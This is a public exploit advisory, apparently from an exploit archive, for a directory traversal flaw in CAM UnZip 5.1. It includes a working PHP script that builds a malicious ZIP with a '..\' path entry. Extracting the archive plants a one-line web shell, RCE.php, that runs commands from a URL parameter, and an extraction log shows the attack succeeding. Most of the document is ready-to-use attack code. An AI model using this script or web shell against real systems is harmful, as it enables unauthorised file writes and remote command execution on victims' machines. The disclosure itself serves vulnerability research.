CAM UnZip 5.1 - .'ZIP' File Directory Traversal

[+] Credits: hyp3rlinx

 
Vendor:
=================
www.camunzip.com
 
 
Product:
==============
CAM UnZip v5.1
 
 
Vulnerability Type:
======================
Archive Path Traversal
 
 
CVE Reference:
==============
N/A
 
 
Vulnerability Details:
=====================
 
CAM UnZip fails to check that the paths of the files in the archive do not
engage in path traversal when uncompressing the archive files.
specially crafted files in the archive containing '..\' in file name can
overwrite files on the filesystem by backtracking or allow attackers
to place malicious files on system outside of the target unzip directory
which may lead to remote command execution exploits etc...
 
Tested successfully Windows 7
 
 
Exploit code(s):
===============
 
malicious archive script...
 
 
<?php
#CAM UnZip v5.1
#directory traversal to remote code execution exploit
#====================================================
 
if($argc<2){echo "Usage: <filename>";exit();}
$file_name=$argv[1];
 
$zip = new ZipArchive();
$res = $zip->open("$file_name.zip", ZipArchive::CREATE);
$zip->addFromString("..\..\..\..\..\..\..\..\RCE.php", '<?php
exec($_GET["cmd"]); ?>');
$zip->close();
 
echo "Malicious archive created...\r\n";
echo "========= hyp3rlinx ============";
?>
 
/////////////////////////////////////////////////////////////////////////////////////
 
Result:
 
Creating Folder: C:\Test\BOZO
 
Extracting Files From: C:\Test\BOZO.zip
 
Unzipped file C:\Test\BOZO\..\..\..\..\..\..\..\..\RCE.php of size 28
 
1 file was Extracted.
 
C:\RCE.php
 
 
 
 
Exploitation Technique:
=======================
Local
 
 
Severity Level:
================
Medium

#  0day.today [2018-04-08]  #